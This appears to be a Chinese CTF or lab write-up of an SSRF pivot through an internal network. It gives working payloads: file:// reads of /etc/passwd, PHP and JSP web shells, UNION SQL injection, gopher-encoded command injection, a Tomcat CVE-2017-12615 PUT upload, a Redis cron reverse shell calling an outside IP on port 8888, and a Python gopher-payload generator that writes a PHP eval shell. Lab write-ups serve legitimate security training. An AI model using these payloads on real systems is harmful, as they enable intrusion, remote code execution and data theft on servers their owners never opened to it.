xxx.xxx.xxx.xxx:8080

访问网站:

image-20240615201334230

发现可以查询其他网站,尝试请求自己:

image-20240615201342450

再尝试请求一下网站下的文件:

image-20240615201349604

172.72.23.21-ssrf

尝试伪协议读取本地文件:

1
file:///etc/passwd

image-20240615201407003

查看主机信息:

1
file:///etc/hosts

image-20240615201417396发现存在内网ip:172.72.23.21

其他敏感文件(/proc/net/fib_trie/proc/net/arp)读取失败,尝试爆破一下ip的C段以及端口

image-20240615201425325

image-20240615201428731

image-20240615201431537

image-20240615201434979

根据结果,我们可以整理出内网ip及端口的开放情况:

ip port
172.72.23.21 80
172.72.23.22 80
172.72.23.23 80,3306
172.72.23.24 80
172.72.23.26 8080
172.72.23.27 6379
172.72.23.28 80,6379

172.72.23.22-CodeExec

利用burp结合字典扫目录:

image-20240615201442455

发现敏感目录:phpinfo.php shell.php

尝试访问shell.php

发现php代码:

1
2
3
4
5
<?php
highlight_file(__FILE__);
error_reporting(0);
system($_GET['cmd']);
?>

可以进行命令执行,因为是用bp发送的请求,所以空格需要进行两次url编码

image-20240615201451735

172.72.23.23 - SQL 注入

通过抓包分析可知,参数为id

image-20240615201457982

image-20240615201501411

就可以进行SQL注入了**(空格需要进行两次编码)**

通过简单判断发现,共有4个字段,回显位置是1,2,4

image-20240615201514472

1
2
3
4
5
6
7
url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,database()--%2520	// 发现数据库名为 db

url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,group_concat(table_name)%2520from%2520information_schema.tables%2520where%2520table_schema='db'--%2520 // 发现表名 flag_is_here,users

url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,group_concat(column_name)%2520from%2520information_schema.columns%2520where%2520table_name='flag_is_here'--%2520 // 发现字段名 content

url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,group_concat(content)%2520from%2520flag_is_here--%2520 //发现flag ggctf{63cafe619721609713aedbddfdf4bba0}

172.72.23.24 - 命令执行

测试命令执行

image-20240615201548096

这个命令执行的场景是通过 POST 方式触发的,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据

所以需要使用gopher协议来进行

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 172.72.23.24
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1;id


POST%20%2F%20HTTP%2F1.1%0AHost%3A%20172.72.23.24%0AContent-Length%3A%2012%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Aip%3D127.0.0.1%3Bid //第一次编码数据

// 将%0A全部替换为%0D%0A

POST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20172.72.23.24%0D%0AContent-Length%3A%2012%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Aip%3D127.0.0.1%3Bid //第二次编码数据

post传参:
url=gopher://172.72.23.24:80/_POST%2520%252F%2520HTTP%252F1.1%250D%250AHost%253A%2520172.72.23.24%250D%250AContent-Length%253A%252015%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Aip%253D127.0.0.1%253Bid

image-20240615201601885

成功命令执行!

172.72.23.26 - CVE-2017-12615

image-20240615201615537

发现是tomcat服务,也是通过搜索知道了这是个cve(CVE-2017-12615)

准备好jsp的一句话木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

继续构造,通过gopher协议传进去

CVE-2017-12615)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PUT /shell.jsp/ HTTP/1.1
Host: 172.72.23.26:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 444

<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

gopher传完,返回2xx说明成功写shell:

image-20240615201624978

发现命令执行成功:

image-20240615201632955

172.72.23.27-redis未授权

Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,所以直接使用 DICT 协议来攻击,效率会高很多,DICT 协议可以攻击未授权的 Redis 服务,格式如下:

1
dict://x.x.x.x:6379/<Redis 命令>

在172.72.23.27上开放着6379端口,即redis服务,尝试执行一下 info

image-20240615201645136

发现可以执行命令,利用定时任务反弹shell,这里用bp实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#清空所有数据
dict://172.72.23.27:6379/flushall

#利用config命令,设置要操作的路径为定时任务目录下
dict://172.72.23.27:6379/config%20set%20dir%20/var/spool/cron/

#建立定时任务文件为root
dict://172.72.23.27:6379/config%20set%20dbfilename%20root

#设置定时任务内容,开始和结束的\n是为了避免crontab的语法错误,五个*是每分钟执行一次
dict://172.72.23.27:6379/set%20x%20"\n*%20*%20*%20*%20*%20/bin/bash%20-i%20>%26%20/dev/tcp/43.143.167.75/8888%200>%261\n"

#保存操作
dict://172.72.23.27:6379/save

依次执行完后,就会发现反弹shell成功:

image-20240615201657845

172.72.23.28-redis有授权

在172.72.23.28上6379有redis服务,不过有密码验证,无法直接未授权执行命令:

image-20240615201706127

在172.72.23.28上不仅在6379有redis服务,同样存在80端口存在web服务:

image-20240615201713849

这是一个LFI 本地文件包含,可以利用此来读取本地的文件内容:

image-20240615201720034

因为 Redis 密码记录在 redis.conf 配置文件中,结合这个文件包含漏洞点,那么这时来尝试借助目标机器的文件包含漏洞来读取 redis 的配置文件信息,Redis 常见的配置文件路径如下:

/etc/redis.conf

/etc/redis/redis.conf

/usr/local/redis/etc/redis.conf

/opt/redis/ect/redis.conf

经测试发现,/etc/redis.conf存在我们想要的东西

image-20240615201727983

先明确一下攻击思路,和前面的弹shell差不多,区别在于这里使用gopher协议,如果条件允许的话也是可以用dict协议来写shell的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 认证 redis
auth P@ssw0rd

# 清空 key
flushall

# 设置要操作的路径为网站根目录
config set dir /var/www/html

# 在网站目录下创建 shell.php 文件
config set dbfilename shell.php

# 设置 shell.php 的内容
set x "\n<?php eval($_GET[1]);?>\n"

# 保存上述操作
save

使用自动化工具:

image-20240615201740184

复制生成的payload到bp解码,删除gopher://127.0.0.1:6379/_

image-20240615201747872

加上如下内容:

*2
$1
auth
$8
P@ssw0rd

这是Redis数据包的传输方式,*2代表此次传输两条指令,$1代表指令长度为1:

image-20240615201755593

最后将这个Redis的数据包url编码两次发送就行了

但是我不知道哪里有问题,没有成功,所以改用用脚本实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib.parse

protocol = "gopher://"
ip = "172.72.23.28"
port = "6379"
shell = "\n\n<?php eval($_GET[1]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = "P@ssw0rd"
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print(urllib.parse.quote(payload))

写入成功

image-20240615201807255

rce成功

image-20240615201812529